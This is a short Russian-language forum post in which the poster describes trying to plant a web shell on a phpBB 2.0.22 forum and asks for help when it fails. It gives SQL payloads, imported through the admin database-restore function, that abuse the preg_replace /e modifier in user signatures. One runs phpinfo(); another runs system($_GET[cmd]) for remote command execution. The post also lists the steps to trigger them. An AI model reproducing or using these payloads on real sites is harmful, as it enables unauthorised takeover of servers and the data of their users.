Пытаюсь залить шелл на форум phpBB 2.0.22 этим способом:
Код:
Code:
Создаем текстовый файл 1.sql суем в него код Код: UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2; ну вместо 2 ставим свой id Заходим в админку, жмем востановление базы данных, выбираем файл 1.sql, и со звуком хлопец-хлопца-хоп-ца-ца заходим в профайл а наблюдаем phpinfo()
Напоминаю, после ":" идет любой php код.
захожу по адресу: site.ru/ff/profile.php?mode=editprofile (т.е в профиль) phpinfo() выдает.
Далее заливаю такой код:
Код:
Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:system($_GET[cmd]);' WHERE user_id=2;
захожу по адресу: site.ru/ff/profile.php?mode=editprofile (т.е в профиль) пробую: site.ru/ff/profile.php?cmd=lsитог: просто редирект на главную страницу.
Что делать? |
